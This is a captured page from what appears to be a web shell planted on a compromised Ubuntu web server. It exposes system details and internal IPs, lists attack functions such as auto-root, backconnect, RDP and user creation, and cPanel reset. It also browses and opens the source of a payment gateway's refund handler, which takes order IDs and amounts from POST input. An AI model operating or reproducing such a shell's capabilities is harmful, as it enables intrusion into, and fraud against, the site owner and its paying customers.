Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees /
irdpg /
[ HOME SHELL ]
Name
Size
Permission
Action
old
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
index.php
126
B
-rw-r--r--
initiatePayment.php
1.19
KB
-rw-r--r--
initiatePaymentDataForm.php
1.88
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : initiateRefund.php
<?php use PaymentHandler\APIException; require_once realpath("./PaymentHandler.php"); use PaymentHandler\PaymentHandler; $orderId = $_POST["order_id"]; $amount = $_POST["amount"]; $refundId = $_POST["unique_request_id"]; $paymentHandler = new PaymentHandler("resources/config.json"); try { // block:start:refund-function $refund = $paymentHandler->refund(["order_id" => $orderId, "amount" => $amount, "unique_request_id" => $refundId]); // block:end:refund-function } catch (APIException $e ) { http_response_code(500); $error = json_encode(["message" => $e->getErrorMessage(), "error_code" => $e->getErrorCode(), "http_response_code" => $e->getHttpResponseCode()]); echo "<p> Payment server threw a non-2xx error. Error message: {$error} </p>"; exit; } catch (Exception $e) { http_response_code(500); echo " <p> Unexpected error occurred, Error message: {$e->getMessage()} </p>"; exit; } ?> <html> <head> <title>Merchant Refund</title> </head> <body> <h1>Refund status:- <?php $refund["status"]?></h1> <p>Here is the stringified map response:- </p> <p><?php echo json_encode($refund) ?></p> <center> <font size="4" color="blue"><b>Response received from order status payment server call</b></font> <table border="1"> <?php foreach ($refund as $key => $value) { echo "<tr><td>{$key}</td>"; $pvalue = ""; if ($value !== null) { $pvalue = json_encode($value); } echo "<td>{$pvalue}</td></tr>"; } ?> </table> </center> </body> </html>
Close